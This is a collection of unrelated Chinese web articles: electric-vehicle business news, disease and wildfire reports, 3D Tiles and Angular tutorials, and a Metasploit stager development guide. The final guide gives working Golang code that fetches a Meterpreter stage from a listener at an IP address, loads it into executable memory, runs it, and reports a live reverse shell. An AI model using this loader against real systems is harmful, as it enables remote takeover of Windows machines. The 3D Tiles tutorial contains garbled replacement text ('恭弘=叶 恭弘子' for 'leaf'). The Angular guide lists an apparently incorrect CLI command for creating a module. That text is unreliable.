與蘋果攜手打造電動車?BMW 否認傳言

蘋果有意跨足電動車的傳聞甚囂塵上,德國雜誌《Auto Motor und Sport》最近爆料,蘋果 (Apple) 相中車界大佬 BMW,雙方正在討論攜手打造汽車,消息一出引發高度關注,但 BMW 已出面否認。   AppleInsider 和路透社 5 日報導,4 日出刊的《Auto Motor und Sport》雜誌引述 BMW 高階經理稱,蘋果對 BMW 的碳纖維電動車深感驚豔,正在探索合作的可能性。報導稱,共同研發的新車可能會在蘋果通路販售,在 BMW 店面維修。據稱雙方討論重點之一是,蘋果能否開發 BMW i3 電動車的作業系統 (OS);此舉若要成真,BMW 必須對蘋果釋出專利軟體技術,雙方或許不易取得共識。   BMW 發言人隨後出面澄清,否認合作傳言。他說,BMW 定期和蘋果等科技電信業者會談,討論車聯網科技等,但共同研發或生產汽車並未在討論議題之列。   ValueWalk 報導推測,如果 BMW 和蘋果諮商車聯網科技,蘋果提到替 BMW 研發汽車作業系統相當合理,蘋果若能取得 BMW 合約,將可更加深入車業。蘋果打造汽車作業系統,看似比蘋果自行生產電動車更符合該公司作風。蘋果偏好高利潤產品,汽車獲利不高;替高檔汽車生產作業系統,似乎較能為蘋果帶來豐厚利潤。

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中國二月電動車銷量增4倍 充電設施市場備具潛力

中國汽車工業協會3月10日披露,2015年2月份我國汽車產銷總量低迷,與上年同期比較,產銷總體微弱下降。資料顯示,今年2月汽車產銷分別完成163.18萬輛和159.33萬輛,比上月分別下降28.7%和31.3%,比上年同期分別下降0.4%和0.2%。   但新能源汽車卻出現井噴式增長。2月新能源汽車生產量達6190輛,銷售量為6045輛,同比分別增長2.7倍和3倍。其中純電動汽車產銷分別完成3061輛和2890輛,同比分別增長2.8倍和4倍;插電式混合動力汽車產銷分別完成3129輛和3155輛,同比分別增長2.7倍和2.4倍。   根據銀河證券的推算,假設到2020年,新能源汽車累計產銷量超過500萬輛。按照一輛車對應1個慢充、0.2個快充計算,預計至2020年將會催生500萬個慢充和100萬個快充的市場需求。隨著充電樁建設加速,充電設備未來投資額將會超過850億元人民幣。充電設施高成長前景已然顯現。

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巴基斯坦爆發登革熱 疫情逾4萬人感染創新高

摘錄自2019年11月6日中央通訊社巴基斯坦報導

亞洲多個地區因為高溫及異常降雨造成登革熱疫情大爆發之際,巴基斯坦衛生部門高階官員今天表示,國內今年有4萬4000人感染登革熱,人數創新高紀錄。

巴基斯坦國家衛生研究院(National Institute of Health)高階官員薩夫達(Rana Safdar)表示,相較2011年舊紀錄的2萬7000人,今年罹患登革熱人數大幅增加,已有66人因罹患登革熱而喪命。他說氣候變遷是造成感染人數暴增的主因,但沒有進行更詳細的說明。「巴基斯坦政府已運用所有可動用的資源,因應控制疫情的棘手難題」。

治療登革熱患者的醫師希狄克(Mahseema Siddique)則表示,旁遮普省(Punjab)和首都伊斯蘭馬巴德(Islamabad)當局未能採取預防措施,像是保護水源或噴灑遏止登革熱的化學藥劑。「他們在數百人感染登革熱後才發現,但為時已晚,很多地方就連噴灑藥劑的小組根本到不了。」

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鴻海攜手騰訊、和諧汽車 打造互聯網智慧電動車

鴻海於 3 月 23 日宣布,將與騰訊、和諧汽車攜手簽訂「互聯網+智慧電動車」戰略合作協議,預計選擇中國河南省鄭州市積極展開此項領域創新發展。   鴻海將與騰訊及和諧汽車等三方共同合組專業工作團隊,藉由騰訊在互聯網應用發展的深入洞見,以及互聯網創意開放平台,進一步搭配鴻海在高科技行動裝置、智慧電動車的創新整合設計與生產製造技術,打造高效便捷且節能環保、安全可靠的「互聯網+智慧電動車」。同時,後續也將借重和諧汽車在高階汽車車款營銷及服務領域的領先優勢,共同提出可行的「互聯網+ 智慧電動車」共贏商業模式。   而在 2014 年年底期間,鴻海已與和諧汽車達成協議,將由鴻海向和諧汽車提供增資,並且持有其 11.76% 股權,同時針對心能源與電動車製造相關技術投資。

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比亞迪去年淨利降兩成 新能源車收入增6倍

比亞迪3月29日晚間發佈年報,2014年實現營業收入581.96億元人民幣(下同),同比上年增長10.09%;淨利潤4.34億元,同比下降21.61%,每股收益0.18元。其中,新能源汽車業務收入約73.28億元,同比增長約6倍,占集團汽車業務收入的27.05%銷量同比增長9倍。   比亞迪去年新能源汽車市場份額達27.9%,在插電式混合動力市場份額更高達49.6%,穩居領先地位。比亞迪並預計2015年一季度淨利潤有望達到1億元~1.5億元,同比增長735.70%-1153.55%。   此外,比亞迪汽車及相關產品業務的收入為約278.34億元,同比上升3.03%;手機部件及組裝業務的收入為約244.80億元,同比增長23.21%;二次充電電池及太陽能業務的收入為約53.39億元,同比增長0.29%。

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3dTiles 數據規範詳解[2] Tileset與Tile

轉載請聲明出處:全網@秋意正寒 https://www.cnblogs.com/onsummer/p/13128682.html

一、一個簡單的3dTiles數據示例

上圖是一份 3dTiles數據集在文件夾內的樣子,層層打開可得以下特點:

  • 入口文件是 tileset.json
  • 各級瓦片用文件夾(目錄)來組織

3dTiles 數據目前的具體文件實現,是一些零散的文件。

數據集的名稱與所在文件夾的名稱並無關係,數據集的名稱寫在入口文件中。

3dTiles至少有一個 tileset.json 文件,作為整個數據集的入口。它是一個 json 文件,描述了整個三維瓦片數據集,它記錄的是上一節提及的“邏輯信息”,還包括一些其他的元數據。而“屬性信息”、“嵌入的gltf模型” 則位於各個二進制瓦片文件中,這些二進制文件則由 tileset.json 中的瓦片中的 uri 來引用。

瓦片是什麼?

瓦片,屋頂上的瓦片。古時候,蓋房子,屋頂不能一次澆築完工,也沒有特定的“屋頂”零件,所以只好一片片瓦片蓋上去(我瞎掰的)。

瓦片切割了三維數據,允許三維數據進行細分。我們都知道網速是有限的,在加載超大規模的三維模型數據時,不可能把一個模型全部下載下來再渲染,那樣等待的時間太慢了,但是一點一點出現,視野範圍外的“瓦片”則乾脆就不下載、渲染,性能、視覺都有提高。這就是瓦片的設計優點。

傳統的二維地圖瓦片,叫做 WMTS 或 TMS,這個 “T” 就是 Tile 的意思。

現在,你只要知道,3dTiles就是把空間進行切塊,每個塊叫做 “tile”,也即瓦片。至於怎麼切的——待會介紹 tileset.json 時,會隆重介紹樹結構。

瓦片只有兩種情況:恭弘=叶 恭弘子瓦片,非恭弘=叶 恭弘子瓦片。根瓦片也是非恭弘=叶 恭弘子瓦片。非恭弘=叶 恭弘子瓦片和恭弘=叶 恭弘子瓦片有什麼區別呢?主要就是恭弘=叶 恭弘子瓦片不會再有孩子了(樹結構的知識哈,不懂的建議去學習數據結構中的樹)。

瓦片包含什麼內容呢?本篇稍微靠後再仔細了解瓦片。

現在,我們先認識一下,描述整個 3dTiles 數據集的入口文件,也叫做三維瓦片數據集 —— tileset.json:

二、Tileset——(三維)瓦片數據集

通常,一個三維瓦片數據集(之後簡稱:一個3dtiles數據)的入口就是那個”tileset.json“,至於這個文件的名稱可不可以改,暫時未作測試。

現在,我們先來研究研究 這個入口文件記錄了哪些信息,拿一份最簡單的 3dtiles數據來舉例,該數據只有一個根瓦片(root),根瓦片再無子瓦片。

root對象中有一個content,內有uri屬性,其就記錄了根瓦片的二進制數據文件的URL,這個URL是個相對路徑,相對於 tileset.json 文件。

① 頂級屬性概覽

通過上面介紹,3dTiles數據的入口文件是一個名叫 tileset.json 的文件,而通常來說,這個json必須存在以下幾個頂級對象:

  • asset
  • root
  • geometricError

由於本人學識有限,目前不太清楚 geometricError 的精確含義,只知道這個數值的大小能控制 LOD 的显示隱藏,且這個數值父級瓦片一定比子級瓦片大。

asset 對象,記錄了整個數據集的聲明和歸屬數據,類似於數據聲明,能在此寫入 versiontilesetVersion 等屬性,當然也可以像上方的例子一樣,寫入生成工具、gltf朝向等信息。

root 對象,即這個數據集的根瓦片,每個3dTiles數據集必須有一個 root 對象。

至於 tileset.json 中其他的頂級對象,請查閱官方文檔:點我

② root瓦片及其children

樹結構對於三維空間數據的組織有很大的優勢。3dTiles在空間上允許數據集使用如下幾種樹結構:

  • 四叉樹
  • 八叉樹
  • KD樹
  • 格網結構

四叉樹允許使用傳統的均勻四叉樹,也允許使用鬆散四叉樹等變種(例如,允許子節點,即子瓦片允許存在空間範圍重疊)。

上圖為兩個子瓦片在空間上存在部分重疊,照顧到了建築物不可能嚴格切分的特點。

四叉樹對在高度上不太好切分的數據比較適合,而如果追求極致的空間分割和分級(例如點雲數據),那麼八叉樹更合適。

八叉樹也允許使用各種變種。

kd樹比較難理解,在此不作展開,這也是一種有趣的空間結構分割的數據結構。

格網結構的樹允許瓦片存在多個子瓦片:

通常出現在傾斜攝影數據上,但是這會導致網絡請求過多的問題。

③ 坐標系統

我們可以用簡單的兩位數、三位數:經緯度,還有一個高度來標識地球表面附近的任何一個點。經緯度的範圍不超過三位數,而用米作單位的空間直角坐標系來描繪地球,数字太大,不好記憶。

在GIS中,WGS84就是一個用經緯度來標識空間坐標的“地理坐標系,Geographic Coordinate System”。

由於歷史上對地球測量的技術不同,科學家製造了多個長半軸短半軸不太一樣的“橢球”,來模擬地球的形狀。目前,最具代表性的就是兩個以地球質心為中心的橢球體:

  • WGS84橢球體
  • 中國國家2000橢球體(即CGCS2000)

基於橢球體,我們允許有多種不同的坐標系定義,WGS84坐標系其實並不太嚴謹。基於WGS84橢球(長短半軸等信息自行查詢哈),可以使用球面坐標度量,即經緯度,還有一個從質心射向橢球面上的點的“橢球高度”射線,來記錄第三維高度數據。

介紹了那麼多,3dTiles其實採用的是WGS84橢球,但是並未採用經緯度記錄數據:因為相對於精細三維模型來說,經緯度不足以提供足夠精確的空間分割(要照顧圖形显示問題)。所以,同樣是那個形狀,3dTiles使用了同一個WGS84橢球,但是更方便計算的坐標:空間直角坐標。

用經緯度記錄數據的WGS84坐標系,WKID是4326,用地心為坐標原點的空間直角坐標來記錄數據的坐標系,WKID是4979.

3dTiles 用的就是4979坐標系。

三、Tile——構成3dtiles的成員:瓦片

通常,瓦片對象會引用一個二進制的瓦片數據文件(也有例外,往下拉一點會說):

在1.0 版本的規範中,瓦片所引用的二進制的瓦片數據文件,有四種類型:

類型 英文名稱 文件後綴名
批量三維模型 Batch 3D Model b3dm
實例三維模型 Instance 3D Model i3dm
點雲 PointCloud pnts
複合模型 Component cmpt

這些不同的瓦片對應了些什麼數據呢?本篇只貼一張各種數據類型的截圖和信息對比表:

瓦片類型 對應實際數據
b3dm 傳統三維建模數據、BIM數據、傾斜攝影數據
i3dm 一個模型多次渲染的數據,燈塔、樹木、椅子等
pnts 點雲數據
cmpt 前三種數據的複合(允許一個cmpt文件內嵌多個其他類型的瓦片)

關於這些二進制瓦片數據文件的數據結構如何,下一篇開始會詳細展開。

現在,我們關注一下,瓦片對象的職能,也就是,它記錄了啥信息:

這是一個children下的第一個瓦片,觀察不難得知,與root瓦片其實在屬性上長得一模一樣。

瓦片對象都有如下屬性:

  • boundingVolume:空間範圍框,允許有box、sphere、region三種範圍框,但是只能定義一種
  • geometricError:幾何誤差
  • content:瓦片內容,uri屬性引用二進制瓦片數據文件。
  • 其他屬性:viewerRequestVolume、transform

沒錯,瓦片對象記錄的就是瓦片的元數據,真正瓦片的本體數據在content所引用的二進制文件中。

瓦片還可以再引用 3dTiles 數據集!

我一再強調3dTiles十分靈活。

Tile不僅僅可以在其uri屬性中引用 諸如 .b3dm.i3dm.pnts等二進制瓦片數據文件,還可以再引用一個 3dTiles!

這是一份從osgb傾斜攝影數據轉換而來的3dtiles數據,清晰可見在root瓦片的第一個child瓦片中,引用了另外一個json文件。這證明了兩件事:

  • 3dTiles的文件名可以不是tileset.json
  • 3dTiles允許套娃

原則上,只要被引用的子一級3dtiles 不循環引用父級3dtiles,那麼就OK(規範如是說)。

它真的很靈活!

下一節將展示二進制瓦片文件中的至關重要的一部分:兩大數據表。

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澳洲東西部爆發數十起野火 高溫預報不利救災

摘錄自2019年11月17日中央通訊社澳洲報導

澳洲東部和西部今天(17日)共有數十起野火焚燒,散布在寬闊帶狀區域。由於未來幾天氣溫預料將升高,風勢也將更強勁,消防人員正緊急強化防火措施。

澳洲西部部分地區18日氣溫預測將超越攝氏40度,且高溫預料下週擴大至東部,恐令新南威爾斯省(New South Wales)和昆士蘭省(Queensland)氣候環境更不利。這2個省分已飽受叢林野火肆虐之苦。澳洲叢林大火季今年提前在南半球春天爆發,9日至今已在新南威爾斯省造成4人死亡,摧毀303間房屋。

其中哥斯伯斯山(Gospers Mountain)火災在雪梨西北方郊區附近延燒超過4萬4800公頃,消防人員用「引火回燒」(back burn)方式強化防火線,但火勢仍尚未獲得控制。引火回燒是刻意放火來清除乾燥易燃的矮木叢。

新南威爾斯省環境暨遺產局(NSW Office of Environment and Heritage)在推特發文表示,由於火災危險程度仍處於非常高至嚴重等級,省內中部至北部沿海的國家公園大多將維持關閉,包括藍山(Blue Mountains)北部的國家公園,直到發布新通知。

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Angular 從入坑到挖坑 – 模塊簡介

一、Overview

Angular 入坑記錄的筆記第七篇,介紹 Angular 中的模塊的相關概念,了解相關的使用場景,以及知曉如何通過特性模塊來組織我們的 Angular 應用

對應官方文檔地址:

  • NgModule 簡介
  • NgModules
  • JavaScript 模塊 vs. NgModule
  • 使用根模塊啟動應用
  • 常用模塊
  • 特性模塊

二、Contents

  1. Angular 從入坑到棄坑 – Angular 使用入門
  2. Angular 從入坑到挖坑 – 組件食用指南
  3. Angular 從入坑到挖坑 – 表單控件概覽
  4. Angular 從入坑到挖坑 – HTTP 請求概覽
  5. Angular 從入坑到挖坑 – Router 路由使用入門指北
  6. Angular 從入坑到挖坑 – 路由守衛連連看
  7. Angular 從入坑到挖坑 – 模塊簡介

三、Knowledge Graph

四、Step by Step

4.1、前端模塊化

前端模塊化是指將程序中一組相關的功能按照一定的規則組織在一塊,整個模塊內部的數據和功能實現是私有的,通過 export 暴露其中的一些接口(方法)與系統中的別的模塊進行通信

NgModule 簡介

在 Angular 應用中,至少會存在一個 NgModule,也就是應用的根模塊(AppModule),通過引導這個根模塊就可以啟動整個項目

像開發中使用到 FormsModule、HttpClientModule 這種 Angular 內置的庫也都是一個個的 NgModule,在開發中通過將組件、指令、管道、服務或其它的代碼文件聚合成一個內聚的功能塊,專註於系統的某個功能模塊

常見的 NgModule 模塊
模塊名稱 模塊所在文件 功能點
BrowserModule @angular/platform-browser 用於啟動和運行瀏覽器應用的的基本服務
CommonModule @angular/common 使用 NgIf、NgFor 之類的內置指令
FormsModule @angular/forms 使用 NgModel 構建模板驅動表單
ReactiveFormsModule @angular/forms 構建響應式表單
RouterModule @angular/router 使用前端路由
HttpClientModule @angular/common/http 發起 http 請求
JavaScript 模塊與 NgModule

在 JavaScript 中,每一個 js 文件就是一個模塊,文件中定義的所有對象都從屬於那個模塊。 通過 export 關鍵字,模塊可以把其中的某些對象聲明為公共的,從而其它 JavaScript 模塊可以使用 import 語句來訪問這些公共對象

例如下面的示例代碼中,別的 javascript 模塊可以通過導入這個 js 文件來直接使用暴露的 getRolesgetUserInfo 方法

function getRoles() {
    // ...
}

function getUserInfo() {
    // ...
}

export {
    getRoles,
    getUserInfo
}

NgModule 是一個帶有 @NgModule 裝飾器的類,通過函數的參數來描述這個模塊,例如在上節筆記中創建的 CrisisModule,定義了我們在該特性模塊中創建的組件,以及需要使用到的其它模塊

在使用 @NgModule 裝飾器時,通常會使用到下面的屬性來定義一個模塊

  • declarations:當前模塊中的組件、指令、管道

  • imports:當前模塊所需的其它 NgModule 模塊

  • exports:其它模塊中可以使用到當前模塊可聲明的對象

  • providers:當前模塊向當前應用中其它應用模塊暴露的服務

  • bootstrap:用來定義整個應用的根組件,是應用中所有其它視圖的宿主,只有根模塊中才會存在

4.2、應用的根模塊

根模塊是用來啟動此 Angular 應用的模塊, 按照慣例,它通常命名為 AppModule

通過 Angular CLI 新建一個應用后,默認的根模塊代碼如下,通過使用 @NgModule 裝飾器裝飾 AppModule 類,定義了這個模塊的一些屬性特徵,從而告訴 Angular 如何編譯和啟動本應用

import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';

import { AppRoutingModule } from './app-routing.module';
import { AppComponent } from './app.component';

@NgModule({
  declarations: [
    AppComponent
  ],
  imports: [
    BrowserModule,
    AppRoutingModule
  ],
  providers: [],
  bootstrap: [AppComponent]
})
export class AppModule { }
declarations

declarations 數組告訴 Angular 哪些組件屬於當前模塊。 當創建新的組件時,需要將它們添加到 declarations 數組中。每個組件都只能聲明在一個 NgModule 類中,同時,如果你使用了未聲明過的組件,Angular 將會報錯

同樣的,對於當前模塊使用到的自定義指令、自定義管道,也需要在 declarations 數組中進行聲明

imports

imports 數組表明當前模塊正常工作時需要引入哪些的模塊,例如這裏使用到的 BrowserModuleAppRoutingModule 或者是我們使用雙向數據綁定時使用到的 FormsModule,它表現出當前模塊的一個依賴關係

providers

providers 數組定義了當前模塊可以提供給當前應用其它模塊的各項服務,例如一個用戶模塊,提供了獲取當前登錄用戶信息的服務,因為應用中的其它地方也會存在調用的可能,因此,可以通過添加到 providers 數組中,提供給別的模塊使用

bootstrap

Angular 應用通過引導根模塊來啟動的,因為會涉及到構建組件樹,形成實際的 DOM,因此需要在 bootstrap 數組中添加根組件用來作為組件樹的根

4.3、特性模塊

特性模塊是用來將特定的功能或具有相關特性的代碼從其它代碼中分離出來,聚焦於特定應用需求。特性模塊通過它提供的服務以及共享出的組件、指令和管道來與根模塊和其它模塊合作

在上一章中,定義了一個 CrisisModule 用來包括包含與危機有關的功能模塊,創建特性模塊時可以通過 Angular CLI 命令行進行創建

-- 創建名為 xxx 的特性模塊
ng new component xxx
import { NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';

import { CrisisRoutingModule } from './crisis-routing.module';

import { FormsModule } from '@angular/forms';

import { CrisisListComponent } from './crisis-list/crisis-list.component';
import { CrisisDetailComponent } from './crisis-detail/crisis-detail.component';


@NgModule({
  declarations: [
    CrisisListComponent,
    CrisisDetailComponent
  ],
  imports: [
    CommonModule,
    FormsModule,
    CrisisRoutingModule
  ]
})
export class CrisisModule { }

當創建完成后,為了將該特性模塊包含到應用中,需要和 BrowserModuleAppRoutingModule 一樣,在根模塊中 imports 引入

默認情況下,NgModule 都是急性加載的,也就是說它會在應用加載時儘快加載,所有模塊都是如此,無論是否立即要用。對於帶有很多路由的大型應用,考慮使用惰性加載的模式。惰性加載可以減小初始包的尺寸,從而減少程序首次的加載時間

import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';

import { FormsModule } from '@angular/forms';

import { AppRoutingModule } from './app-routing.module';
import { AppComponent } from './app.component';

// 添加自定義的模塊
import { CrisisModule } from './crisis/crisis.module';

@NgModule({
  declarations: [
    AppComponent
  ],
  imports: [
    BrowserModule,
    FormsModule,
    CrisisModule, // 引入自定義模塊
    AppRoutingModule
  ],
  providers: [],
  bootstrap: [AppComponent]
})
export class AppModule { }

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另闢財源!特斯拉開賣 Model S 二手車

電動車大廠特斯拉(Tesla)開始在官網銷售 Model S 二手車,跨出從新創公司轉變成主流車商的重要一步。特斯拉大約在一周前悄悄推出認證二手車方案,讓消費者可以買到價格比新車便宜的特斯拉電動車,並提供 4 年或 5 萬英里保修方案。   特斯拉發言人說,第一批二手車來源主要是一些車主淘汰舊車、添購去年底上市的四輪傳動 Model S。此外,特斯拉在 2012 年推出租車方案,租期通常為 3 年,這些車將在今年開始歸還給特斯拉。   特斯拉並不運用獨立經銷商通路,所以可以保有賣二手車的全部營收。不過,因特斯拉的二手車供應量有限,目前特斯拉網站只在美國 11 個大都會區提供二手車。特斯拉發言人說,這些二手車將分組存放,未必會存放在零售門市。客戶訂購二手車後,可以赴各地區的存放地點取車,或要求特斯拉把車運送到府。

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msf stagers開發不完全指北(二)

採用 Golang 開發stagers

上一篇文章 msf stagers開發不完全指北(一)中我們談到如何採用 c 進行 msf 的 stagers 開發,這篇文章我們探討一下如何使用 Golang 實現同樣的功能

思路梳理

在 Golang 中一點比較重要的是,我們如何能夠獲取到 socket 的文件描述符,除此之外,我們還是同樣的步驟

  1. 向 msf 監聽地址發起 tcp 請求
  2. 獲取 stages
  3. 將 socket fd 放入寄存器 edi
  4. 從起始地址開始執行 stages

編譯環境

  • OS: Windows 10

  • Golang: go version go1.14.1 windows/amd64

獲取stages

socket, err := net.Dial("tcp", "192.168.174.136:4444")
if err != nil {
    return err
}

// read payload size
var payloadSizeRaw = make([]byte, 4)
numOfBytes, err := socket.Read(payloadSizeRaw)
if err != nil {
	return err
}
if numOfBytes != 4 {
    return errors.New("Number of size bytes was not 4! ")
}
payloadSize := int(binary.LittleEndian.Uint32(payloadSizeRaw))

// read payload
var payload = make([]byte, payloadSize)
// numOfBytes, err = socket.Read(payload)
numOfBytes, err = io.ReadFull(socket, payload)
if err != nil {
    return err
}
if numOfBytes != payloadSize {
    return errors.New("Number of payload bytes does not match payload size! ")
}

這裡有幾點我們需要注意的地方,第一是讀取stages長度是需要使用 binary 庫把它轉化為 int32,你可以理解為 python 中的 struct 庫,第二個是我們慣用的從 socket 連接讀取數據使用的是 Read,但是並不能讀全,和網絡有關係,需要使用 ReadFull 或者 ReadAtLeast 進行讀取。讀取到 stages 后,我們可以進行下一步操作了。

socket fd 放入 edi

conn := socket.(*net.TCPConn)
fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))

buff := make([]byte, 4)
binary.LittleEndian.PutUint32(buff, socketFd)
return buff

這部分代碼就是我上面所說的難點了,首先 socket, err := net.Dial("tcp", "192.168.174.136:4444") 返回的是一個接口 type Conn interface ,我們需要找到他的真實類型,繼續往裡面跟我們會發現他的真實類型是 *net.TCPConn,為什麼要做這一步?

我們先看看這個結構體

// TCPConn is an implementation of the Conn interface for TCP network
// connections.
type TCPConn struct {
	conn
}

type conn struct {
	fd *netFD
}

我們其實需要的是裏面的文件描述符,我們再往裡跟一下

// Network file descriptor.
type netFD struct {
	pfd poll.FD

	// immutable until Close
	family      int
	sotype      int
	isConnected bool // handshake completed or use of association with peer
	net         string
	laddr       Addr
	raddr       Addr
}

// poll.FD
// FD is a file descriptor. The net and os packages embed this type in
// a larger type representing a network connection or OS file.
type FD struct {
	// Lock sysfd and serialize access to Read and Write methods.
	fdmu fdMutex

	// System file descriptor. Immutable until Close.
	Sysfd syscall.Handle

	// Read operation.
	rop operation
	// Write operation.
	wop operation

	// I/O poller.
	pd pollDesc

	// Used to implement pread/pwrite.
	l sync.Mutex

	// For console I/O.
	lastbits       []byte   // first few bytes of the last incomplete rune in last write
	readuint16     []uint16 // buffer to hold uint16s obtained with ReadConsole
	readbyte       []byte   // buffer to hold decoding of readuint16 from utf16 to utf8
	readbyteOffset int      // readbyte[readOffset:] is yet to be consumed with file.Read

	// Semaphore signaled when file is closed.
	csema uint32

	skipSyncNotif bool

	// Whether this is a streaming descriptor, as opposed to a
	// packet-based descriptor like a UDP socket.
	IsStream bool

	// Whether a zero byte read indicates EOF. This is false for a
	// message based socket connection.
	ZeroReadIsEOF bool

	// Whether this is a file rather than a network socket.
	isFile bool

	// The kind of this file.
	kind fileKind
}

可以看到 Sysfd 是文件描述符,也就是我們想要的,我們需要取一下,這裏因為 Golang 裏面小寫開頭的字段是不導出的,我們需要使用反射取一下

注意:可能因為 Golang 版本不一致,這個結構有所更改,請自行考證一下,主要原因是非導出字段,官方是不保證向下兼容性的

所以獲取文件描述符的代碼就是

fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))

文件描述符是 handle 所指向的值,這裏需要注意一下

然後後面的還是我們之前的操作,使用 binary 包把 uint32 轉為 4bytes 數組

然後我們需要把 socket fd 放入 edi

payload = append(append([]byte{0xBF}, socketFD...), payload...)

mov edi, xxxx 放到了 stages 頭部

執行stages

一切的準備工作都做完了,下面就是開始準備執行了,類似執行 shellcode 的方式,這裏的實現方式八仙過海各顯神通了,我這裏只給我我這裏的實現方式

// modify payload to comply with the plan9 calling convention
payload = append(
    []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57},
    append(
        payload,
        []byte{0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3}...,
    )...,
)
addr, _, err := virtualAlloc.Call(0, uintptr(len(payload)), 0x1000|0x2000, 0x40)
if addr == 0 {
    return err
}
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&payload[0])), uintptr(len(payload)))
syscall.Syscall(address, 0, 0, 0, 0)

這裏的一串奇奇怪怪的字符可以不用加,只是為了遵守 plan9 彙編的調用約定,一些 push 保存堆棧現場和 pop 還原

然後就是先通過申請 VirtualAlloc 一塊可讀可寫可執行的內存,然後使用 RtlCopyMemory 把 stages 字節碼拷貝進去,然後開始跑。

這裏的 windows api 使用的聲明如下

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	virtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

這裏其實你也可以使用 x/windows 庫方便使用。

結果展示

64位編譯出來 1.73M,通過 upx 壓縮后 616kb,32位編譯出來會更小

執行試試

監聽 payload windows/x64/meterpreter/reverse_tcp ,可以看到成功上線

注意事項

  • 可能因為 Golang 版本不一致,這個結構有所更改,請自行考證一下,主要原因是非導出字段,官方是不保證向下兼容性的
  • 依然需要注意位數的差異,比如32位的payload請使用32位編譯,64位payload使用64位編譯

成果源碼

成果源碼我就不貼出來了,其實也是這些代碼組合在一起

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